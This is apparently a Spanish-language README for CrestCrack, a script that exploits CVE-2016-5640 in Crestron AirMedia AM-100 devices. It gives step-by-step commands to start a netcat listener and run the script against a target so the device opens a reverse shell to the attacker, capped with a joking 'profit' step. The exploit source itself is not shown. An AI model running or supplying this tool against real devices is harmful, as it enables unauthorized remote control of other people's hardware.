CrestCrack

CrestCrack es un script simple que explota CVE-2016-5640 / CLVA-2016-05-002 en Crestron AirMedia AM-100 (v1.1.1.11 - v1.2.1). Al proporcionarle argumentos, CrestCrack utilizará netcat para crear una reverse shell entre tu objetivo y un listener netcat de tu elección.

Configuración:

1. Clona una copia de CrestCrack git clone https://github.com/vpnguy/CrestCrack
2. Inicia un listener netcat nc -lvp 1337
3. Ejecuta CrestCrack contra tu objetivo con la información de tu listener ./crestcrack.py https://targethost 255.255.255.255 1337
4. ??????
5. GANANCIA

###Uso: ./crestcrack.py [host objetivo] [IP del listener] [puerto del listener]

###Ejemplo: ./crestcrack.py https://targethost 123.123.123.123 3311

Información adicional de la vulnerabilidad:

Divulgación de vulnerabilidad Cylance

NIST CVE-2016-5640

Por añadir:

• Manejo de errores/verificación de límites
• Soporte mejorado de argumentos
• Salida --help